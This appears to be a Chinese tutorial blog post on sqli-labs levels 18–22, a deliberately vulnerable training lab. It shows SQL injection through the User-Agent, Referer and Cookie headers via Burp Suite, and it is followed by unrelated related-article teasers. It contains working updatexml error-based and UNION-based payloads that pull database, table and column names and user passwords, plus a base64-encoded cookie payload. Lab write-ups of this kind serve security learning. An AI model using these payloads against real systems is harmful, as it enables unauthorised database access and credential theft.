sqli-lab靶场学习(六)——Less18-22(User-Agent、Referer、Cookie注入)

前言

前面的关卡,都是直接在输入框或者浏览器的地址栏上做文章即可。但本文这几关,需要用工具拦截请求修改请求头部才行。

Less18(User-Agent注入)

本关的注入点在User-Agent。我们在用户名和密码框中输入admin/admin后,会回显User-Agent的信息。注意这里只有输入了正确的密码才回回显。

PS:如果admin/admin密码不对,就去Less17那里改就行了~~~~

我们看一下源码,在less18目录下的index.php:

分析代码后,我们发现uagent这个变量获取的是user-agent的数据,而注入点在103行这里,输出页面反馈的在109行。

User-Agent的注入我们需要借助一些工具,可以使用postman或者burp suit等。这里我会使用burp suit操作。

没用过burp suit的读者先下载并打开临时项目。然后使用内嵌浏览器:

之后在内嵌浏览器中打开Less18的页面。

然后要打开拦截请求,拦截一会发送的请求:

接着在用户名框和密码框输入admin和admin

此时发现burp suit已经对请求进行拦截:

然后点击右键,选择“发送到repeater”,然后我们在重放器进行操作。

这里我们尝试吧User-Agent的内容改为:

' and updatexml(1,'~',3) and '

看到这里通过updatexml大法,已经通过user-agent回显了。后面可以按照Less7的思路把数据库和用户名那些爆破出来。

查找当前数据库名:

' or updatexml(1,concat(0x7e,(select database()),0x7e),3) or '

接着查询表,当limit到4时查到users表:

' or updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1)),3) or '

接着是查询列名,还是按照less7的思路,在limit到4、5时找到username和password:

' or updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 4,1)),3) or '
' or updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 5,1)),3) or '

最后是查出用户名密码,

' or updatexml(1,concat('~',(select username from security.users limit 0,1)),3) or '
' or updatexml(1,concat('~',(select password from security.users limit 0,1)),3) or '

Less19(Referer注入)

先输入用户名密码admin/admin

显示的是Refer的数据,所以考虑注入点和Referer有关。

同样先分析sqli-labs/less19/index.php源文件

与Less18不同的地方在于uagent变量获取的是Referer这个参数。所以操作方式和Less18是一摸一样的。

具体的操作参照Less18,语句完全一样,仅仅是把原来放在user-agent的改成放到referer那里就可以了。

Less20(Cookie注入)

输入用户名密码admin/admin之后:

这里显示了cookie,而且从这关的标题看,写的是cookie注入。所以很显然这关的目标涉及cookie。

 

分析代码后,我们看到147行显然是一个注入点。因为cookee这个变量直接从COOKIE那里获取uname数据,然后直接放到sql语句去执行,没有进行一些处理!

现在开始操作,基本参考Less1就可以了。我们在登录之后,刷新页面并用burp suit拦截请求,右键把请求发到重放器中,修改cookie的值,判断select的列数:

admin' order by 5 #

使用单引号闭合,然后order by看来select的列数。我们尝试5是失败的,最终尝试3时会成功:

admin' order by 3 #

接下来我们用联合注入方式:

' union select 1,2,3 #

看到联合注入的参数已经回显到前端。

接下来是查询库名:

' union select 1,database(),3 #

表名:

' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #

列名:

' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' #

 最后找出用户名密码:

Less21 

21关和20关差不多。我们看了拦截的请求,cookie是用base64编码过的

分析源码:

在146行是注入点,闭合方式是单引号+右括号。

语句基本和Less20差不多,就是闭合方式改变,并且要先用base64转码。比如查询数据库语句为:

') union select 1,database(),3 #

然后我们用base64转码,可以用在线方式,也可以自己写脚本,或者用离线工具koczkatamas等等。转码得到:

JykgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwzICM=

 其他查询也是类似的方式即可,不再赘述。

Less22

Less22和21差不多,都是cookie要做base64编码。区别是变成了双引号闭合,所以也不赘述。

小结

本文主要演示了请求头部的一些注入点,包括User-Agent、Referer和Cookie。其实现方式大同小异。但头部注入的操作比前面get和post会麻烦一些,需要拦截请求并修改头部信息。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/15951.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring依赖注入方式

写在前面:大家好!我是晴空๓。如果博客中有不足或者的错误的地方欢迎在评论区或者私信我指正,感谢大家的不吝赐教。我的唯一博客更新地址是:https://ac-fun.blog.csdn.net/。非常感谢大家的支持。一起加油,冲鸭&#x…

arcgis界址点编号工具开发原理(西北角顺时针)

arcgis界址点编号工具开发原理(西北角顺时针) 1、工具实现思路。寻找离包络矩形左顶角最近的点作为起点。如下图:距离包络矩形左顶角最近的点,作为J1点没有任何问题。 问题在于并不是所有的地块,都这么中规中矩、合情…

分布式服务框架 如何设计一个更合理的协议

1、概述 前面我们聊了如何设计一款分布式服务框架的问题,并且编码实现了一个简单的分布式服务框架 cheese, 目前 cheese 基本具备分布式服务框架的基本功能。后面我们又引入了缓存机制,以及使用Socket替代了最开始的 RestTemplate。并且还学习了网络相关…

生信云服务器:让生物信息学分析更高效、更简单【附带西柚云优惠码】

随着生物信息学的快速发展,基因组测序、单细胞分析等复杂任务逐渐成为研究者们的日常工作。然而,个人电脑在处理这些任务时往往面临性能瓶颈,如内存不足、运算速度慢等问题,导致分析任务频繁失败或崩溃。为了解决这一难题&#xf…

[AUTOSAR通信] - PDUR模块解读

点击订阅专栏不迷路 文章目录 一、 PDUR模块概述二、功能描述2.1 发送路由功能2.2 接收路由功能2.3 网关路由功能2.4 路由控制功能 三、配置項介紹3.1. PduRBswModules3.2. PduRGeneral3.3. PduRRoutingTables3.4. PduRRoutingPath3.5. PduRSrcPdu3.6. PduRDestPdu 四、总结 &g…

分治下的快速排序(典型算法思想)—— OJ例题算法解析思路

目录 一、75. 颜色分类 - 力扣(LeetCode) 运行代码: 一、算法核心思想 二、指针语义与分区逻辑 三、操作流程详解 四、数学正确性证明 五、实例推演(数组[2,0,2,1,1,0]) 六、工程实践优势 七、对比传统实现 八、潜在问题与解决方案 九、性能测试数据 十、扩展…

分层耦合 - IOC详解

推荐使用下面三种, 第一种多用于其他类 声明bean的时候,可以通过value属性指定bean的名字,如果没有指定,默认为类名首字母小写。 使用以上四个注解都可以声明bean,但是在springboot集成web开发中,声明控制器bean只能用…

PDF Shaper:免费多功能 PDF 工具箱,一站式满足您的 PDF 需求!

​PDF Shaper 是一款功能强大且完全免费的 PDF 工具箱,它几乎涵盖了日常 PDF 操作的方方面面,无论是转换、编辑还是处理,都能轻松搞定。以下是这款软件的详细介绍: 功能丰富,一应俱全 PDF 转换功能强大 PDF 转 Word&am…

未来替代手机的产品,而非手机的本身

替代手机的产品包括以下几种: 可穿戴设备:智能手表、智能眼镜等可穿戴设备可以提供类似手机的功能,如通话、信息推送、浏览网页等。 虚拟现实(VR)技术:通过佩戴VR头显,用户可以进行语音通话、发…

deepseek+“D-id”或“即梦AI”快速生成短视频

1、deepseek生成视频脚本 1.1、第一步:使用通用模板提出需求,生成视频脚本 对话输入示例脚本1: 大年初五是迎财神的日志,帮我生成10秒左右的短视频, 体现一家3口在院子里欢庆新年, 孩子在院子里放鞭炮烟…

在CT107D单片机综合训练平台上实现外部中断控制LED闪烁

引言 在单片机开发中,外部中断是一个非常重要的功能,它可以让单片机在检测到外部信号变化时立即做出响应。本文将详细介绍如何在CT107D单片机综合训练平台上使用外部中断来控制LED灯的闪烁。我们将使用两种不同的方式来实现这一功能:一种是在…

为什么推荐使用 LabVIEW 开发

在仪器行业的软件开发中,LabVIEW 以其图形化编程、快速原型开发、高效硬件集成的优势,成为自动化测试和控制系统的理想选择。尽管一些工程师仍然坚持使用 C 语言,但这更多是出于习惯,而非技术上的必然。LabVIEW 不仅支持 NI 硬件&…

力扣1448. 统计二叉树中好节点的数目

Problem: 1448. 统计二叉树中好节点的数目 文章目录 题目描述思路复杂度Code 题目描述 思路 对二叉树进行先序遍历,边遍历边对比并更新当前路径上的最大值pathMax,若当pathMax小于等于当前节点值,则好节点的数目加一 复杂度 时间复杂度: O (…

DeepSeek帮助做【真】软件需求-而不是批量刷废话

尝试给DeepSeek一份系统用例规约,让它帮判断哪些地方还没有覆盖涉众利益。结果见以下 需求工作的重点可以放在建模精细的真实现状流程和精细的真实涉众利益上,AI帮助推演系统需求。

【JVM详解五】JVM性能调优

示例: 配置JVM参数运行 #前台运行 java -XX:MetaspaceSize-128m -XX:MaxMetaspaceSize-128m -Xms1024m -Xmx1024m -Xmn256m -Xss256k -XX:SurvivorRatio8 - XX:UseConcMarkSweepGC -jar /jar包路径 #后台运行 nohup java -XX:MetaspaceSize-128m -XX:MaxMetaspaceS…

Qt文本处理【正则表达式】示例详解:【QRegularExpression】

在 Qt 中,正则表达式是处理文本的强大工具,它能够帮助我们匹配、搜索和替换特定的字符串模式。自 Qt 5 起,QRegularExpression 类提供了对 ECMAScript 标准的正则表达式支持,这使得它在处理各种复杂的字符串任务时变得更加高效和灵…

【算法学习】拓扑排序(Topological Sorting)

目录 定义 例子 拓扑排序的实现 核心思想 实现方法 1,Kahn算法(基于贪心策略) 步骤: 用二维数组存储图的例子 用哈希表存储图的例子 2,基于DFS的后序遍历法 总结 拓扑排序的应用场景 1,任务调度 …

JavaEE-前端与后台的搭建

一.idea连接数据库 在使用 IntelliJ IDEA 连接数据库时,可以按照以下步骤操作: ### 1. 打开数据库工具窗口 - 在 IntelliJ IDEA 中,点击右侧的 Database 工具窗口,或通过 View -> Tool Windows -> Database 打开。 ### 2. 添…

华为Mate 70 Pro或推出全新版本

关于华为Mate 70 Pro或推出全新版本的相关内容:可能的版本及命名。 据数码博主“定焦数码”爆料,华为Mate 70 Pro将推出新版本,命名为“优享版”。这一命名方式与华为Mate 60系列中的Mate 60 Pro乐臻版类似,预计优享版也会是一个组…

Linux 实操篇 实用指令

一、远程登录到Linux服务器 (1)为什么需要远程登录Linux linux服务器是开发小组共享的正式上线的项目是运行在公网因此程序员需要远程登陆到Linux进行项目管理或者开发画出简单的网络拓扑示意图远程登陆客户端有Xshell6,Xftp6,我…